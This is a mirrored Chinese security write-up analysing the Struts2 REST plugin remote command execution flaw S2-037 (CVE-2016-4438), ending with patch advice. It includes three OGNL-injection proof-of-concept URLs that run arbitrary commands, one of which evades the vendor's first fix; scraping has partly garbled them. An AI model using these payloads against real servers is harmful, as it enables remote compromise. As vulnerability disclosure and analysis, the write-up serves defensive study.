4

PKAV 发现 Struts2 最新远程命令执行漏洞(S2-037) | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

PKAV 发现 Struts2 最新远程命令执行漏洞(S2-037)

0x00 前言


刚过完儿童节回来发现struts2 出了S033,于是放下手中的棒棒糖赶紧分析一下。

0x01 S2-033 漏洞回顾


先来回顾一下S033

根据官方描述

很明显有两个关键点:第一个是REST Plugin,另一个是Dynamic Method Invocation is enabled.(也就是开启动态方法执行),看到这里需要满足两个条件,感觉有点鸡肋啊……

直接下载回来源代码调试,载入官方的演示包struts2-rest-showcase.war,我们先随便访问一个连接/struts2-rest-showcase/orders/1,很快定位到关键代码

Rest-plujin包里面的org.apache.struts2.rest.RestActionMapper

首先要过第一关:dropExtension,这个方法会检查后缀名

其中extensions的值来自配置文件struts-plugin.xml,默认是:

因此要想通过检查我们需要构造一个.xhtml、.xml或者.json结尾的URL,或者没有后缀直接是xx/xx,这就不能使用”.”这显然是不行的。

继续往下调试:

就是说如果刚才的链接里面出现了!就进入下面的流程直接得到一个!后面的值,然后没有过滤直接放在了mapping里面

构造链接:/struts2-rest-showcase281/orders/3/1!{xxx}

在加上前面有一个allowDynamicMethodCalls的判断,几乎可以肯定漏洞点就是在这儿,继续往下走,最终method会进入到,com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法,如下图

我们看到methodName直接进入到了ognlUtil.getValue方法,对struts2历史漏洞有点熟悉的同学都知道,这个就是最终导致代码执行的地方。不多说,直接上POC:

#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3!%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc

0x02 绕过动态方法执行的限制


但是如果真的只是这样这个漏洞真的是比较鸡肋的,因为动态方法在这里默认是不开启的,那我们接着分析,有没有可能不用开动态方法都可以执行任意代码了,答案是肯定的。这个地方能不能代码执行主要是这个地方的限制

其实只要我们继续往下走,会发现其他地方也会mapping.setMethod代码如下

其实无非就是:

#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3/methodName

这样构造就不需要动态方法执行了,上POC:

#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3/%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc

这个算其实已经算是一个0day了,这个可以绕过了动态方法执行的限制。但是这还不够,于是我马上找来了最新官方声称漏洞修复的2.3.281、2.3.20.3 and 2.3.24.3,同样的代码却报错了

难道官方是这样修复的,改了检查方法执行的方法checkEnableEvalExpression,这个方法是在request.xx(x)这种代码执行的方式后加入的判断,主要是为了杜绝参数名上面的代码执行,不过好在这个地方我们不需要这种方式执行代码。经过研究我还是通过三目运算符绕过了这个检测,POC:

#!shell
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)[email protected]@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc

6月3号的时候我给struts2官方提交了这个新的高危漏洞(CVE编号CVE-2016-4438),影响所有使用了REST插件的用户,无需要开启动态方法执行(不包括struts 2.5),此后的几天网上不断有关于s2-033的分析与绕过出来,但是他们大都错误的认为需要开启动态方法执行才能触发漏洞,其实并不需要。正如官方回复这个漏洞说的

去掉了with ! operator when Dynamic Method Invocation is enabled这句话,因此这个漏洞影响更为广泛。

0x03 修复建议


在上一个版本里面也是method出的问题,当时是加入了cleanupActionName方法进行过滤,如果这个地方要修复,也可以加入这个方法过滤一下即可。更新至官方struts 2.3.29

在线检测:http://www.pkav.net/tool/struts2/index.php

参考:https://cwiki.apache.org/confluence/display/WW/S2-037


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK